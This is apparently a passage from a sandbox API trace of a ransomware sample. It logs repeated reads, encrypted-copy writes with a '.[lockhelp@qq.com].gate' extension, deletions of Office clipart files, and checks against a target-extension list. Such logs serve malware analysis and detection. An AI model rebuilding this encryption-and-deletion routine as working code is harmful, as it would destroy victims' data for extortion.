nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0298.307] SetEndOfFile (hFile=0x528) returned 1 [0298.811] CloseHandle (hObject=0x528) returned 1 [0298.823] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.823] SetEndOfFile (hFile=0x52c) returned 1 [0298.828] CloseHandle (hObject=0x52c) returned 1 [0298.828] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0298.828] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf")) returned 1 [0298.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0298.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0298.829] lstrlenW (lpString=".doc") returned 4 [0298.829] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.829] lstrlenW (lpString=".docx") returned 5 [0298.829] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.829] lstrlenW (lpString=".pdf") returned 4 [0298.829] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.829] lstrlenW (lpString=".xls") returned 4 [0298.829] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.829] lstrlenW (lpString=".xlsx") returned 5 [0298.829] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.829] lstrlenW (lpString=".ppt") returned 4 [0298.829] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0298.829] lstrlenW (lpString=".zip") returned 4 [0298.829] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.829] lstrlenW (lpString=".rar") returned 4 [0298.829] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.829] lstrlenW (lpString=".bz2") returned 4 [0298.829] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.829] lstrlenW (lpString=".7z") returned 3 [0298.829] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0298.829] lstrlenW (lpString=".dbf") returned 4 [0298.829] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0298.830] lstrlenW (lpString=".1cd") returned 4 [0298.830] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0298.830] lstrlenW (lpString=".jpg") returned 4 [0298.830] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.832] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=752) returned 1 [0298.832] CloseHandle (hObject=0x538) returned 1 [0298.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf")) returned 0x220 [0298.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0298.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0298.832] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.832] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0298.833] GetLastError () returned 0x0 [0298.833] ReadFile (in: hFile=0x538, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x2f0, lpOverlapped=0x0) returned 1 [0299.097] WriteFile (in: hFile=0x50c, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x300, lpOverlapped=0x0) returned 1 [0299.098] ReadFile (in: hFile=0x538, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.098] WriteFile (in: hFile=0x50c, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0299.098] SetEndOfFile (hFile=0x50c) returned 1 [0299.098] CloseHandle (hObject=0x50c) returned 1 [0299.098] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.098] SetEndOfFile (hFile=0x538) returned 1 [0299.100] CloseHandle (hObject=0x538) returned 1 [0299.101] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0299.101] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf")) returned 1 [0299.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0299.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0299.101] lstrlenW (lpString=".doc") returned 4 [0299.101] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.101] lstrlenW (lpString=".docx") returned 5 [0299.101] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.101] lstrlenW (lpString=".pdf") returned 4 [0299.102] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.102] lstrlenW (lpString=".xls") returned 4 [0299.102] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.102] lstrlenW (lpString=".xlsx") returned 5 [0299.102] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.102] lstrlenW (lpString=".ppt") returned 4 [0299.102] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0299.102] lstrlenW (lpString=".zip") returned 4 [0299.102] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.102] lstrlenW (lpString=".rar") returned 4 [0299.102] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.102] lstrlenW (lpString=".bz2") returned 4 [0299.102] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.102] lstrlenW (lpString=".7z") returned 3 [0299.102] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0299.102] lstrlenW (lpString=".dbf") returned 4 [0299.102] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0299.102] lstrlenW (lpString=".1cd") returned 4 [0299.102] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0299.102] lstrlenW (lpString=".jpg") returned 4 [0299.102] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.103] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=9010) returned 1 [0299.103] CloseHandle (hObject=0x538) returned 1 [0299.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf")) returned 0x220 [0299.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0299.103] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.103] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0299.104] GetLastError () returned 0x0 [0299.104] ReadFile (in: hFile=0x538, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x2332, lpOverlapped=0x0) returned 1 [0299.189] WriteFile (in: hFile=0x50c, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x2340, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x2340, lpOverlapped=0x0) returned 1 [0299.191] ReadFile (in: hFile=0x538, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.191] WriteFile (in: hFile=0x50c, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0299.191] SetEndOfFile (hFile=0x50c) returned 1 [0299.191] CloseHandle (hObject=0x50c) returned 1 [0299.191] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.191] SetEndOfFile (hFile=0x538) returned 1 [0299.224] CloseHandle (hObject=0x538) returned 1 [0299.225] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0299.225] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf")) returned 1 [0299.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0299.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0299.226] lstrlenW (lpString=".doc") returned 4 [0299.226] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.226] lstrlenW (lpString=".docx") returned 5 [0299.226] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.226] lstrlenW (lpString=".pdf") returned 4 [0299.226] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.226] lstrlenW (lpString=".xls") returned 4 [0299.226] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.226] lstrlenW (lpString=".xlsx") returned 5 [0299.226] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.226] lstrlenW (lpString=".ppt") returned 4 [0299.226] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0299.226] lstrlenW (lpString=".zip") returned 4 [0299.226] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.226] lstrlenW (lpString=".rar") returned 4 [0299.226] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.226] lstrlenW (lpString=".bz2") returned 4 [0299.226] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.226] lstrlenW (lpString=".7z") returned 3 [0299.227] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0299.227] lstrlenW (lpString=".dbf") returned 4 [0299.227] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0299.227] lstrlenW (lpString=".1cd") returned 4 [0299.227] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0299.227] lstrlenW (lpString=".jpg") returned 4 [0299.227] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.227] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=15164) returned 1 [0299.227] CloseHandle (hObject=0x538) returned 1 [0299.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf")) returned 0x220 [0299.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0299.228] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.228] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0299.228] GetLastError () returned 0x0 [0299.228] ReadFile (in: hFile=0x538, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x3b3c, lpOverlapped=0x0) returned 1 [0299.309] WriteFile (in: hFile=0x50c, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x3b40, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x3b40, lpOverlapped=0x0) returned 1 [0299.310] ReadFile (in: hFile=0x538, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.310] WriteFile (in: hFile=0x50c, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0299.310] SetEndOfFile (hFile=0x50c) returned 1 [0299.310] CloseHandle (hObject=0x50c) returned 1 [0299.310] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.310] SetEndOfFile (hFile=0x538) returned 1 [0299.312] CloseHandle (hObject=0x538) returned 1 [0299.313] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0299.313] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf")) returned 1 [0299.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0299.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0299.314] lstrlenW (lpString=".doc") returned 4 [0299.314] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.314] lstrlenW (lpString=".docx") returned 5 [0299.314] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.314] lstrlenW (lpString=".pdf") returned 4 [0299.314] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.314] lstrlenW (lpString=".xls") returned 4 [0299.314] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.314] lstrlenW (lpString=".xlsx") returned 5 [0299.314] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.314] lstrlenW (lpString=".ppt") returned 4 [0299.314] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0299.314] lstrlenW (lpString=".zip") returned 4 [0299.314] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.314] lstrlenW (lpString=".rar") returned 4 [0299.315] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.315] lstrlenW (lpString=".bz2") returned 4 [0299.315] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.315] lstrlenW (lpString=".7z") returned 3 [0299.315] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0299.315] lstrlenW (lpString=".dbf") returned 4 [0299.315] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0299.315] lstrlenW (lpString=".1cd") returned 4 [0299.315] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0299.315] lstrlenW (lpString=".jpg") returned 4 [0299.315] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.315] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=4984) returned 1 [0299.316] CloseHandle (hObject=0x538) returned 1 [0299.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf")) returned 0x220 [0299.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0299.316] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.317] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0299.319] GetLastError () returned 0x0 [0299.319] ReadFile (in: hFile=0x538, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x1378, lpOverlapped=0x0) returned 1 [0299.449] WriteFile (in: hFile=0x50c, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x1380, lpOverlapped=0x0) returned 1 [0299.450] ReadFile (in: hFile=0x538, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.450] WriteFile (in: hFile=0x50c, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0299.450] SetEndOfFile (hFile=0x50c) returned 1 [0299.454] CloseHandle (hObject=0x50c) returned 1 [0299.454] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.454] SetEndOfFile (hFile=0x538) returned 1 [0299.556] CloseHandle (hObject=0x538) returned 1 [0299.556] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0299.556] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf")) returned 1 [0299.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0299.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0299.557] lstrlenW (lpString=".doc") returned 4 [0299.557] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.557] lstrlenW (lpString=".docx") returned 5 [0299.557] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.557] lstrlenW (lpString=".pdf") returned 4 [0299.557] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.557] lstrlenW (lpString=".xls") returned 4 [0299.557] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.557] lstrlenW (lpString=".xlsx") returned 5 [0299.557] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.557] lstrlenW (lpString=".ppt") returned 4 [0299.557] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0299.557] lstrlenW (lpString=".zip") returned 4 [0299.557] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.557] lstrlenW (lpString=".rar") returned 4 [0299.558] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.558] lstrlenW (lpString=".bz2") returned 4 [0299.558] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.558] lstrlenW (lpString=".7z") returned 3 [0299.558] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0299.558] lstrlenW (lpString=".dbf") returned 4 [0299.558] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0299.558] lstrlenW 